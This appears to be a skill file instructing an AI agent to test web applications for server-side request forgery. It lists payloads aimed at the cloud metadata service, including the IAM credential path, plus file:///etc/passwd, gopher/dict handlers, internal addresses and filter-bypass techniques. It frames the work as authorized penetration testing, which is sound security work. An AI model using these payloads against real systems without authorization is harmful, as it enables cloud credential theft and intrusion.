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Anthropic-Cybersecurity-Skills/skills/performing-ssrf-vulnerability-exploitation/SKILL.md
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mukul975 27c6414ca5 Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills:
- scripts/agent.py: 80-150 line Python agents using real libraries (impacket,
  boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.)
- references/api-reference.md: real API documentation with method signatures
- LICENSE: MIT license for all skill folders
2026-03-10 21:02:12 +01:00

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---
name: performing-ssrf-vulnerability-exploitation
description: >-
Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints,
internal network services, and protocol handlers through user-controllable URL parameters.
Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP,
URL scheme bypass techniques, and DNS rebinding detection.
---
## Instructions
1. Install dependencies: `pip install requests`
2. Identify URL parameters in the target application that accept URLs or hostnames.
3. Test SSRF payloads:
- Cloud metadata: `http://169.254.169.254/latest/meta-data/`
- Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/`
- Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://`
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
4. Analyze responses for information disclosure or internal access confirmation.
5. Generate a vulnerability assessment report.
```bash
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
```
## Examples
### AWS Metadata SSRF
```
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.